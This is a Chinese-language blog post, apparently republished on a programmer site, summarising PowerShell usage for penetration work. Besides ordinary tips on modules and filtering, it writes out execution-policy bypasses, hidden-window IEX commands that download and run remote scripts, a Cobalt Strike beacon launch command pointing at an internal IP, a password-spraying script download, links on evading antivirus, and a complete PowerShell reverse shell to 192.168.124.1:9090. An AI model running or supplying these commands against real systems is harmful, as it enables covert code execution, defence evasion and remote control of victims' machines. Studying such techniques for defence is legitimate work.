powershell使用总结

powershell使用总结模块导入 Import ModuleReconI Module name powerview ps1 查看模块对应命令 Get Command Modulename 其他 powershell exe ExecutionPol noprofileIEX 上述命令意思为 1 将执行策略设置为绕过 这样可以执行 powershell 脚本文件 2 不加载配置文件 3 隐藏窗口 4 Iex 命令为 invove expression 的别名 接收一个字符串作

1.模块导入

2.查看模块对应命令

Get-Command -Module name 
powershell echo 12;#3 

powershell截断符是“;#”。

3.常见参数概述

名称 用法
-Command 需要执行的代码
-ExecutionPolicy 设置默认的执行策略,一般使用Bypass
-EncodedCommand 执行Base64代码,可在powershell混淆的时候用
-File 这是需要执行的脚本名
-NoExit 执行完成命令之后不会立即退出,比如我们执行powerhsell whoami 执行完成之后会推出我们的PS会话,如果我们加上这个参数,运行完之后还是会继续停留在PS的界面
-NoLogo 不输出PS的Banner信息
-Noninteractive 不开启交互式的会话
-NoProfile 不使用当前用户使用的配置文件
-Sta 以单线程模式启动ps
-Version 设置用什么版本去执行代码
-WindowStyle 设置Powershell的执行窗口,有下面的参数Normal, Minimized, Maximized, or Hidden,一般使用hidden

4.绕过powershell执行策略

cmd中:powershell -ep bypass
powershell中:Set-ExecutionPolicy Bypass -Scope Process
当有administrator权限当时候可以直接使用Set-ExecutionPolicy Unrestricted
也可以参考下面的链接
绕过powershell执行策略的方法



5.powershell下载远程数据

powershell (Invoke-WebRequest -Uri "https://github.com/HoldOnToYourHeart/nc/raw/cafb11118bed472ca85c3e7c099b4891/calc.exe" -OutFile "C:\Users\31030\Desktop\tools\test\calc2.exe") 
powershell (new-object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1','C:\Users\Administrator\Desktop\12.ps1') 

6.常见操作

  1. 绕过本地权限执行文件
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1 
  1. 本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1 
  1. 用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters] 
  1. cs上线命令
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://172.16.250.3:8022/a'))" 

#powershell上线命令可以简化成以下形式,删除了两个括号和两个双引号

powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring('http://172.16.250.3:8022/a') 
  1. 如果只能执行cmd,那么通过下面的命令来执行powershell脚本里面的函数。
powershell -exec bypass "Import-Module C:\Users\zhangsan\Desktop\powerview.ps1;Get-NetDomain" 

在这里插入图片描述

  1. 筛选
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication |Where-Object{$_.Name -like "MM*"} 

筛选Name字段中含有以MM开头的所有值。

7.powershell函数传参相关

但我们要传输powershell命令的时候,如果参数重含有单引号” ’ “,这时候我们需要转义它,转义的方式为在它前面再加一个单引号。且powershell函数传参数的时候,尽量中单引号扩起来,系统只会将两个单引号之间的内容当作字符串传输,而不是当作命令,进而降低了出错概率。

8.数据筛选

在这里插入图片描述

我们创建一个文件,内容如下:

在这里插入图片描述
筛选包含数字3的项:

在这里插入图片描述

$_是必须加的,它的作用是接收管道符传过来的值。

补充:powershell上线免杀

在这里插入图片描述
https://f5.pm/go-52159.html
https://www.freebuf.com/articles/system/249449.html
https://www.cnblogs.com/linuxsec/articles/7384582.html
https://y4er.com/post/cobalt-strike-powershell-bypass/



补充:powershell下载rsat

需要管理员权限

Get-WindowsCapability -Name RSAT* -Online | Select-Object -Property Name, State Add-WindowsCapability -Name Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0 –Online;whoami Add-WindowsCapability -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0 -Online 

补充:反弹powershell

powershell -c "$client = New-Object Net.Sockets.TCPClient('192.168.124.1',9090);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()" 

9.附录参考

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/233999.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • laravel 表迁移报错[通俗易懂]

    laravel 表迁移报错[通俗易懂]laravel 表迁移报错

    2022年4月24日
    49
  • 关于W25Q128地址的定义

    1.W25Q128将16M的内存分为256个块,每个块是64K;又将一个块分为16个扇区,一个扇区是4K;又将一个扇区分为16个页,一个页是256字节地址。话不多说,上图:2.在图上右边的红框中可以看到Block0(块0)的地址是000000-00FFFF,再看到左边红框中Block0的16个扇区,地址范围对应的就是Block0的地址范围了,第一个扇区的起始地址就是0000,终止地址是0F…

    2022年4月6日
    142
  • 固态硬盘界的”瑞士军刀”:有这两款工具箱软件才安心

    固态硬盘界的”瑞士军刀”:有这两款工具箱软件才安心固态硬盘每天产生了多少写入量?剩余寿命还能用几年?如何你非常关心这些普通玩家经常忽视的问题,专业的固态硬盘工具箱软件将是必备的。 HardDiskSentinel能够同时支持机械和固态硬盘,依据问题扇区和接口CRC错误、Trim功能开启状况,给出硬盘的健康和性能状态,以及预计的可用剩余寿命。 新版的HardDiskSentinel还能根据硬盘型号识别出固态硬盘所用的…

    2022年6月7日
    55
  • 算法-分治法

    算法-分治法

    2022年3月12日
    49
  • kafka 教程_kafka适合以下哪种场景

    kafka 教程_kafka适合以下哪种场景一、基本概念介绍Kafka是一个分布式的、可分区的、可复制的消息系统。它提供了普通消息系统的功能,但具有自己独特的设计。这个独特的设计是什么样的呢?首先让我们看几个基本的消息系统术语:Kafka将消息以topic为单位进行归纳。将向Kafkatopic发布消息的程序成为producers.将预订topics并消费消息的程序成为consumer.Kafka以集群的方式运行,可以由一个或多个服务组成…

    2022年10月17日
    0
  • Python的lambda表达式

    Python的lambda表达式1、lambda只是一个表达式,函数体比def简单很多2、lambda的主体是一个表达式,而不是一个代码块。仅仅能在lambda表达式中封装有限的逻辑进去3、lambda函数拥有自己的名字空间,且不能访问自有参数列表之外或全局名字空间里的参数4、简单单行代码或者一次性的函数可以用lambda函数来书写,可以让代码更简洁。5、对于复杂函数或者函数体体量大的函数,最好不要用lambda函数,会增加代码的阅读难度,使代码晦涩难懂。6、在非多次调用的函数的情况下,lambda表达式即用既得,提高性能

    2022年10月18日
    0

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号